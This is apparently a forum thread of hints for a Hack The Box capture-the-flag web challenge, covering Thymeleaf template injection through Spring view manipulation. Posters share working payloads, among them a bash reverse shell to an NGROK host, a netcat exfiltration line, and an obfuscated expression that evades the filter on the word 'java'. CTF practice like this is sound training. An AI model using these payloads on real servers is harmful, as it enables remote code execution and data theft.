[macavitysworld]

HTB Web Challenge - Breathtaking View [Hints]

• SSTI
  
• Spring view Manipulation
  
• https://book.hacktricks.xyz/pentesting-w...ation-java
  
• https://0xn3va.gitbook.io/cheat-sheets/f...nipulation
  
• https://www.acunetix.com/blog/web-securi...thymeleaf/
  
• https://ctftime.org/writeup/26230 exploit same as this writeup, just some adjustments and you should be okay
  
• can't use `java` as a string, find a way to bypass the filter
  
• Invoke a shell environment to execute commands, directly executing commands won't work (did not work for me)
  
• Url encode your payload
  

[awwliveyet]

i am getting 400 bad request on every payload even when i am trying __*${7*7}__::.x

[macavitysworld]

i am getting 400 bad request on every payload even when i am trying __*${7*7}__::.x

Url encode the payload

[theboxhack]

How to bypass java keyword filter

[Steward]

How to bypass java keyword filter

I tried this construction:
__{{{% for x in ().__class__.__base__.__subclasses__() %}}{{% if "warning" in x.__name__ %}} {{{{x()._module.__builtins__['__import__']('os').popen("cp /flag* /app/src/main/resources/static/flag.txt").read()}}}}{{% endif %}}{{% endfor %}}}__::.x

and got 200 OK response but it seems we need to arrange reverse shell instead of copying flag because of write permissions to the web site dir

[x1rx]

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "echo 'bash -i >& /dev/tcp/NGROK/PORT 0>&1' > shell.sh"})}__::.x

__${T(Runtime).getRuntime().exec(new String[]{"bash", "-c", "bash shell.sh"})}__::.x

[macavitysworld]

How to bypass java keyword filter

hex, unicode, ascii etc etc

[hades1204]

Can you help me with bypass filter java? I try hex, unicode,base64 but no happen.

[macavitysworld]

Can you help me with bypass filter java? I try hex, unicode,base64 but no happen.

https://pulsesecurity.co.nz/articles/EL-...WAF-Bypass

[hades1204]

__${true.getClass.forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(114)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).getMethods()[6].invoke(true.getClass().forName(true.toString().charAt(0).toChars(106)[0].toString().concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(118)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(103)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(114)[0].toString()).concat(true.toString().charAt(0).toChars(117)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(116)[0].toString()).concat(true.toString().charAt(0).toChars(105)[0].toString()).concat(true.toString().charAt(0).toChars(109)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString())).exec(true.toString().charAt(0).toChars(115)[0].toString().concat(true.toString().charAt(0).toChars(104)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(36)[0].toString()).concat(true.toString().charAt(0).toChars(64)[0].toString()).concat(true.toString().charAt(0).toChars(124)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(104)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(101)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(104)[0].toString()).concat(true.toString().charAt(0).toChars(111)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(115)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(45)[0].toString()).concat(true.toString().charAt(0).toChars(108)[0].toString()).concat(true.toString().charAt(0).toChars(97)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(47)[0].toString()).concat(true.toString().charAt(0).toChars(124)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(110)[0].toString()).concat(true.toString().charAt(0).toChars(99)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(49)[0].toString()).concat(true.toString().charAt(0).toChars(48)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(52)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(55)[0].toString()).concat(true.toString().charAt(0).toChars(53)[0].toString()).concat(true.toString().charAt(0).toChars(46)[0].toString()).concat(true.toString().charAt(0).toChars(50)[0].toString()).concat(true.toString().charAt(0).toChars(50)[0].toString()).concat(true.toString().charAt(0).toChars(56)[0].toString()).concat(true.toString().charAt(0).toChars(32)[0].toString()).concat(true.toString().charAt(0).toChars(49)[0].toString()).concat(true.toString().charAt(0).toChars(51)[0].toString()).concat(true.toString().charAt(0).toChars(51)[0].toString()).concat(true.toString().charAt(0).toChars(55)[0].toString())).getInputStream()).next()}__::.x


response 400. I don't know why?